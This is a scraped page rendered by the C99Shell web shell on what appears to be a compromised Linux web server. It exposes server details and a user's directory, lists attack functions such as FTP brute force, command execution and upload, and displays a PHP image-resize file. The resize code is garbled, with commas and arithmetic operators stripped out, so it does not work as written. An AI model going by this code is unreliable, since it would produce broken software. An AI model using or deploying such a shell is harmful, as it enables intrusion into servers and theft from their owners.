!C99Shell v. 1.0 pre-release build #13!

Software: Apache/2.0.54 (Unix) mod_perl/1.99_09 Perl/v5.8.0 mod_ssl/2.0.54 OpenSSL/0.9.7l DAV/2 FrontPage/5.0.2.2635 PHP/4.4.0 mod_gzip/2.0.26.1a 

uname -a: Linux snow.he.net 4.4.276-v2-mono-1 #1 SMP Wed Jul 21 11:21:17 PDT 2021 i686 

uid=99(nobody) gid=98(nobody) groups=98(nobody) 

Safe-mode: OFF (not secure)

/home/makras/public_html/admin/   drwxr-xr-x
Free 318.35 GB of 458.09 GB (69.49%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     resize.php (2.03 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?

function resize($o_file$t_file$t_wd$t_ht) {
    
$image_info getImageSize($o_file) ; // see EXIF for faster way
    
    
switch ($image_info['mime']) {
        case 
'image/gif':
            if (
imagetypes() & IMG_GIF)  { // not the same as IMAGETYPE
                
$o_im imageCreateFromGIF($o_file) ;
            } else {
                
$ermsg 'GIF images are not supported<br />';
            }
            break;
        case 
'image/jpeg':
            if (
imagetypes() & IMG_JPG)  {
                
$o_im imageCreateFromJPEG($o_file) ;
            } else {
                
$ermsg 'JPEG images are not supported<br />';
            }
            break;
        case 
'image/png':
            if (
imagetypes() & IMG_PNG)  {
                
$o_im imageCreateFromPNG($o_file) ;
            } else {
                
$ermsg 'PNG images are not supported<br />';
            }
            break;
        case 
'image/wbmp':
            if (
imagetypes() & IMG_WBMP)  {
                
$o_im imageCreateFromWBMP($o_file) ;
            } else {
                
$ermsg 'WBMP images are not supported<br />';
            }
            break;
        default:
            
$ermsg $image_info['mime'].' images are not supported<br />';
            break;
    }
    
    if (!isset(
$ermsg)) {
    
        
$o_wd imagesx($o_im) ;
        
$o_ht imagesy($o_im) ;
        
        if (
$t_ht && !$t_wd){
        
// thumbnail width = target * original width / original height
        
$t_wd round($o_wd $t_ht $o_ht) ;
        }
        
        else if (
$t_wd && !$t_ht){
        
// thumbnail width = target * original width / original height
        
$t_ht round($o_ht $t_wd $o_wd) ;
        }
        

        
$t_im imageCreateTrueColor($t_wd,$t_ht);
        
        
imageCopyResampled($t_im$o_im0000$t_wd$t_ht$o_wd$o_ht);
        
        
touch($t_file);
        
        
        
imageJPEG($t_im,$t_file);
        
        
imageDestroy($o_im);
        
imageDestroy($t_im);
    }
    return isset(
$ermsg)?$ermsg:'done';
}


?> 

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0196 ]--